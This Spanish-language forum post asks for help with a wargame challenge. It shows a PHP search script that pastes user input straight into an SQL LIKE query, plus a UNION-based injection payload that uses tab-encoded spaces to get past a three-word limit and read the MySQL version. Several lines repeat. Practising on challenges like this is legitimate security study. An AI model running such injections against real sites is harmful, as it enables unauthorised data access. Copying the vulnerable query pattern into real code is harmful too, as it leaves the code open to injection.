Andaba resolviendo algunos wargames, y me encontre con este! Se trata de encontrar la versión del MySQL. El script es esté:
NOTA: La parte comentareada es parte del script original la cambie para montarlo en mi localhost
El tema es que en mi localhost logro obtener la versión del MySQL, pero en el wargame no! De la siguiente manera,
Para que la query quede de la siguiente manera,
En mi caso el resultado es: 5.6.21
El reto original esta online, es -> aHR0cDovL3d3dy55YXNoaXJhLm9yZy9SZVRvcy9BbGwvMTY3L2RpY2Npb25hcmlvLnBocD9idXNjYXI9aXNxbA==
NOTA: La parte comentareada es parte del script original la cambie para montarlo en mi localhost
Código (php) [Seleccionar]
if ( !empty( $_GET['buscar'] ) ){
$buscar = (string) stripslashes( $_GET['buscar'] );
if ( 40 < strlen($buscar) )
die('Hacker!');
$palabras = explode( ' ', $buscar );
if ( 3 < count($palabras) )
die('No se permiten mas de 3 palabras en la busqueda.');
#$consulta = 'SELECT * FROM diccionario WHERE';
$consulta = 'SELECT * FROM tbl WHERE';
foreach( (array) $palabras as $palabra )
$consulta .= " nombre LIKE '%{$palabra}%' OR";
#$consulta .= " yrClaves LIKE '%{$palabra}%' OR";
$consulta = substr( $consulta, 0, -3 );
$consulta .= " LIMIT 1;";
}else{
$consulta = 'SELECT * FROM tbl LIMIT ' . mt_rand( 0, 5 ) . ',1;';
}
# Esto es para mi localhost
$cnn = mysql_connect("127.0.0.1", "root", "");
$db = mysql_select_db("PoC");
$query = mysql_query($consulta);
if( $query !== false ){
$data = mysql_fetch_array($query);
}
El tema es que en mi localhost logro obtener la versión del MySQL, pero en el wargame no! De la siguiente manera,
Código (php) [Seleccionar]
5'%09union%09select%09@@version,2%09%23
Para que la query quede de la siguiente manera,
Código (sql) [Seleccionar]
SELECT * FROM tbl WHERE nombre LIKE '%5' union select @@version,2 #%' LIMIT 1;
En mi caso el resultado es: 5.6.21
El reto original esta online, es -> aHR0cDovL3d3dy55YXNoaXJhLm9yZy9SZVRvcy9BbGwvMTY3L2RpY2Npb25hcmlvLnBocD9idXNjYXI9aXNxbA==